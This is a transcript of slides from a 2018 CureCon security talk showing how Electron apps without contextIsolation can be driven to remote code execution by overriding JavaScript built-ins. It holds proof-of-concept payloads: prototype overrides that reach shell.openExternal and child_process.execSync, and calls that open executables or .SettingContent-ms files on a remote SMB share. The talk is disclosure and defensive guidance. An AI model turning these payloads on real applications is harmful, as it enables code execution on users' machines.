Electron: Abusing the lack of context isolation - CureCon(en)

Electron: Abusing the lack of context isolation - CureCon(en)

This is the slides for CureCon which was held in Berlin

1a5bce24526a7d6f1ab89678df2d673c?s=128

Masato Kinugawa

August 18, 2018
Tweet

Transcript

  1. 2.

    About me • Masato Kinugawa (@kinugawamasato) • I live in

    Japan • I Joined Cure53 in 01/2016 • I like web, browser, JavaScript and XSS
  2. 3.

    Introduction • In 2016, we audited one Electron based application

    • Found RCE, ... but noticed the root cause was in Electron itself • Reported to Electron Team and it was fixed by adding the option called "contextIsolation" • I'd like to talk about it!
  3. 4.

    Outline 1. Basics of Electron 2. Details of Context Isolation

    3. Abusing the lack of Context Isolation
  4. 9.

    Can create Renderer Process Basics: Main Process main.js const {BrowserWindow}

    = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
  5. 10.

    Basics: Renderer Process It's a browser window index.html <!DOCTYPE html>

    <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1> <style> body{ background:url('island.png') } </style> </body> </html>
  6. 11.

    Basics: webPreferences • Settings of renderer process's features • Set

    it in main process, like this: new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });
  7. 12.

    Basics: webPreferences • Important 3 features in this talk •

    nodeIntegration • preload • contextIsolation
  8. 13.

    Basics: nodeIntegration Decide if Node APIs are enabled in renderer

    let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } }); win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html This means: nodeIntegration + XSS in renderer = RCE
  9. 14.

    Basics: Preload Script • Loaded before other scripts in the

    renderer are loaded • Has unlimited access to Node APIs new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js
  10. 15.

    Basics: Preload Script /* preload.js */ typeof require === 'function';//true

    window.runCalc = function(){ require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> ➡Can export necessary node-features to pages Renderer Process
  11. 16.

    Are these settings RCE-safe enough? • nodeIntegration : false •

    Necessary features are exported via preload • Also assume that the argument is properly validated to prevent RCE ➡No RCE even if XSS exists?
  12. 17.

    Still not safe enough Developers should use "contextIsolation" option also!

    new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); What is that? ➡
  13. 19.

    contextIsolation • Added in v1.4.15 (Released on Jan 20, 2017)

    • The default is false • Official doc still says it's an experimental feature but we really need it to remove the possibility of RCE
  14. 20.

    contextIsolation's effect • Separates JavaScript context between the page's scripts

    and preload scripts • Separetes JavaScript context between the page's scripts and Electron's internal code
  15. 21.

    contextIsolation Electron uses the same technology as Chromium's Content Scripts

    to enable this behavior. https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc s/tutorial/security.md#3-enable-context-isolation-for-remote-content “ Let's compare the behavior! ➡
  16. 22.

    WebExtension's content scripts /* Content Script */ window.abc = 123;

    /* https://example.com */ alert(window.abc)//undefined Isolated World
  17. 23.

    Electron's preload scripts(default) /* preload.js */ window.abc = 123; /*

    index.html */ alert(window.abc)//123 No Isolated World
  18. 25.

    Communicate under contextIsolation:true /* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') }

    } /* index.html */ postMessage('runCalc','*') Isolated World Use postMessage, like WebExtension's content script
  19. 26.

    Let's see... and? • The lack of isolated world is

    useful for developers, no? • because we can communicate directly... But it is useful for attackers also?! ➡
  20. 28.

    Basic idea to RCE An Attacker can: 1. Execute arbitrary

    JavaScript in renderer somehow(e.g. XSS or navigation to external sites) 2. Overwrite the built-in method which is used in preload or Electron internal code to own function 3. Trigger the use of overwritten function 4. Something happens => Achieve RCE
  21. 30.

    #1: Attacking preload scripts /* preload.js */ const {shell} =

    require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); This code opens only http(s): links with default browser
  22. 31.

    shell.openExternal ? Opens the given URL using the desktop's default

    way const {shell} = require('electron'); /* Open with default browser */ shell.openExternal('https://example.com/'); /* Open with default mail client */ shell.openExternal('mailto:test@example.com'); /* Execute exe file */ shell.openExternal('file:///C:/windows/system32/calc.exe');
  23. 32.

    #1: Attacking preload scripts /* preload.js */ const {shell} =

    require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); We want to pass arbitrary URL to shell.openExternal Let's overwrite this!
  24. 33.
  25. 36.

    #1: Attacking preload scripts <script> Array.prototype.indexOf=function(){ return 1337; } </script>

    <a href="file:///C:/windows/system32/calc.exe">CLICK</a> Click Now all links are opened by shell.openExternal if (1337 !== -1) { shell.openExternal(link.href); }
  26. 37.

    BTW: Is shell.openExternal really exploitable? • To abuse this, the

    malicious program is placed in a known path • We can't pass any arguments Do we have any ways? ➡
  27. 38.

    How about file server? const { shell } = require('electron');

    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe"); Shows warning dialog. Hmm...
  28. 39.

    File server + .SettingContent-ms file const { shell } =

    require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • Matt Nelson found that ".SettingContent-ms" file can run shell command without warning dialog The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Works!
  29. 40.

    Other tricks • File server + .jar file (Java needed)

    • Java does not respect ADS • File server + mscorsvw.exe (Found by Alex Inführ) InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
  30. 41.

    #2: Attacking Electron internal code • A part of the

    Electron itself is implemented by using Node.js code • The overwritten built-in method is used here as well • By triggering the use of overwritten method in internal code, can get access to node APIs from the argument
  31. 42.

    #2: Attacking Electron internal code // Clean cache on quit.

    process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d 3ba4c5/lib/common/asar.js#L30-L36 "exit" event listener is always set by the internal code when the page loading is started. This event is emitted just before navigation
  32. 43.

    #2: Attacking Electron internal code EventEmitter.prototype.emit = function emit(type) {

    [...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; if the "exit" event is emitted, EventEmitter.prototype.emit is called and it executes "emitNone" function https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231 Note: Here is inside require('events') bundled in Node.js
  33. 44.

    #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113 Then, it goes here
  34. 45.

    #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } "self" is Node's process object
  35. 47.

    #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } So, let's overwrite this "call" and get access to process object
  36. 48.

    #2: Attacking Electron internal code Overwrite Function.prototype.call, like this: <script>

    Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } location.reload();// Trigger the "exit" event </script>
  37. 49.

    #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } calc is launched via overwritten "call"!
  38. 50.

    Attack Routes Attack route's examples: • XSS • Navigation to

    arbitrary remote sites • MitM Basically arbitrary JavaScript execution in the renderer + no "contextIsolation" mean game over.
  39. 51.

    Attack Routes(2) • Drag & Drop • The window is

    a drop-zone by default, like general browsers
  40. 53.

    Attack Routes(3-2) • Handling middle-click is often forgotten by app

    • "click" event is not emitted /* preload.js */ document.addEventListener('click', (e) => { /* It will not come here */ }, false);
  41. 54.

    Conclusion • We should know RCE happens in default Electron

    even if "nodeIntegration" is not enabled • "contextIsolation" prevents RCE with overwritten built-in method. We have to use it explicitly because currently the default is false new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!
  42. 55.

    Thanks! • Thanks for reviewing, Mario Heiderich! • Thanks for

    the opportunity to give a presentation, Cure53 members!